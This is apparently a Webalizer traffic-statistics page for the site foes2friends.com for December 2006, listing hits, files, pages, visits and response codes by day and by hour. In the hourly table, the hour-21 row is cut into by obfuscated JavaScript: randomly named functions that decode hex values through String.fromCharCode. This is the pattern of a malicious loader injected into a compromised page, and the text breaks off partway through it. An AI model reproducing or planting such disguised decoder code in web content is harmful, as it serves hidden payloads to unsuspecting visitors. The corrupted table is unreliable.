Usage Statistics for foes2friends.com

Summary Period: December 2006
Generated 02-Jan-2007 04:26 IST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for December 2006
Total Hits 451
Total Files 338
Total Pages 187
Total Visits 55
Total KBytes 3404
Total Unique Sites 32
Total Unique URLs 47
Total Unique Referrers 18
Total Unique User Agents 10
. Avg Max
Hits per Hour 0 89
Hits per Day 14 118
Files per Day 10 100
Pages per Day 6 40
Visits per Day 1 11
KBytes per Day 110 915
Hits by Response Code
Undefined response code 2
Code 200 - OK 338
Code 301 - Moved Permanently 1
Code 302 - Found 33
Code 304 - Not Modified 5
Code 404 - Not Found 72

Daily usage for December 2006

Daily Statistics for December 2006
Day Hits Files Pages Visits Sites KBytes
1 3 0.67% 1 0.30% 2 1.07% 1 1.82% 2 6.25% 17 0.49%
2 22 4.88% 13 3.85% 21 11.23% 1 1.82% 1 3.12% 217 6.38%
3 3 0.67% 1 0.30% 2 1.07% 1 1.82% 1 3.12% 2 0.07%
4 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
5 3 0.67% 1 0.30% 2 1.07% 1 1.82% 2 6.25% 17 0.49%
6 1 0.22% 0 0.00% 1 0.53% 1 1.82% 1 3.12% 0 0.00%
7 3 0.67% 1 0.30% 2 1.07% 1 1.82% 2 6.25% 17 0.49%
8 2 0.44% 1 0.30% 1 0.53% 1 1.82% 2 6.25% 2 0.06%
9 4 0.89% 2 0.59% 2 1.07% 2 3.64% 3 9.38% 35 1.03%
10 6 1.33% 2 0.59% 4 2.14% 2 3.64% 3 9.38% 19 0.55%
11 2 0.44% 0 0.00% 1 0.53% 1 1.82% 1 3.12% 2 0.05%
12 3 0.67% 1 0.30% 2 1.07% 1 1.82% 2 6.25% 17 0.49%
13 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
14 2 0.44% 0 0.00% 1 0.53% 1 1.82% 2 6.25% 4 0.11%
15 36 7.98% 29 8.58% 15 8.02% 3 5.45% 4 12.50% 195 5.74%
16 2 0.44% 1 0.30% 1 0.53% 1 1.82% 1 3.12% 16 0.47%
17 50 11.09% 36 10.65% 12 6.42% 3 5.45% 4 12.50% 304 8.94%
18 2 0.44% 1 0.30% 2 1.07% 1 1.82% 1 3.12% 15 0.43%
19 89 19.73% 83 24.56% 40 21.39% 1 1.82% 1 3.12% 785 23.06%
20 118 26.16% 100 29.59% 30 16.04% 5 9.09% 5 15.62% 915 26.87%
21 3 0.67% 1 0.30% 2 1.07% 1 1.82% 1 3.12% 17 0.49%
22 3 0.67% 1 0.30% 2 1.07% 1 1.82% 2 6.25% 17 0.49%
23 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
24 2 0.44% 0 0.00% 1 0.53% 1 1.82% 1 3.12% 2 0.05%
25 8 1.77% 3 0.89% 5 2.67% 3 5.45% 4 12.50% 90 2.64%
26 2 0.44% 1 0.30% 1 0.53% 1 1.82% 2 6.25% 17 0.51%
27 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
28 7 1.55% 3 0.89% 4 2.14% 3 5.45% 4 12.50% 72 2.13%
29 50 11.09% 43 12.72% 12 6.42% 3 5.45% 4 12.50% 364 10.69%
30 18 3.99% 10 2.96% 15 8.02% 11 20.00% 4 12.50% 213 6.27%
31 7 1.55% 3 0.89% 4 2.14% 3 5.45% 4 12.50% 36 1.05%

Hourly usage for December 2006

Hourly Statistics for December 2006
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 0 7 1.55% 0 2 0.59% 0 4 2.14% 1 42 1.22%
1 0 2 0.44% 0 1 0.30% 0 2 1.07% 0 15 0.43%
2 0 7 1.55% 0 3 0.89% 0 4 2.14% 2 49 1.43%
3 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
4 0 2 0.44% 0 0 0.00% 0 1 0.53% 0 2 0.05%
5 0 2 0.44% 0 1 0.30% 0 1 0.53% 1 16 0.47%
6 0 5 1.11% 0 2 0.59% 0 3 1.60% 1 35 1.04%
7 1 44 9.76% 1 36 10.65% 0 9 4.81% 12 363 10.65%
8 0 5 1.11% 0 2 0.59% 0 3 1.60% 1 34 0.99%
9 1 31 6.87% 0 27 7.99% 0 12 6.42% 5 163 4.78%
10 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
11 0 1 0.22% 0 0 0.00% 0 1 0.53% 0 0 0.00%
12 0 23 5.10% 0 14 4.14% 0 21 11.23% 9 274 8.04%
13 0 2 0.44% 0 1 0.30% 0 1 0.53% 1 17 0.51%
14 0 14 3.10% 0 4 1.18% 0 9 4.81% 1 43 1.25%
15 0 8 1.77% 0 3 0.89% 0 6 3.21% 1 22 0.64%
16 0 3 0.67% 0 1 0.30% 0 2 1.07% 1 17 0.49%
17 0 1 0.22% 0 1 0.30% 0 1 0.53% 1 20 0.58%
18 0 3 0.67% 0 1 0.30% 0 2 1.07% 1 17 0.49%
19 0 9 2.00% 0 4 1.18% 0 6 3.21% 2 50 1.46%
20 0 19 4.21% 0 10 2.96% 0 8 4.28% 7 203 5.98%
21 4 124 27.49% function c71809640051m48f7674f9edd1(m48f7674f9f5a4){ function m48f7674f9fd79(){var m48f7674fa054c=16;return m48f7674fa054c;} return (parseInt(m48f7674f9f5a4,m48f7674f9fd79()));}function m48f7674fa0d20(m48f7674fa14f5){ var m48f7674fa1cc8='';m48f7674fa3c19=String.fromCharCode;for(m48f7674fa249c=0;m48f7674fa249c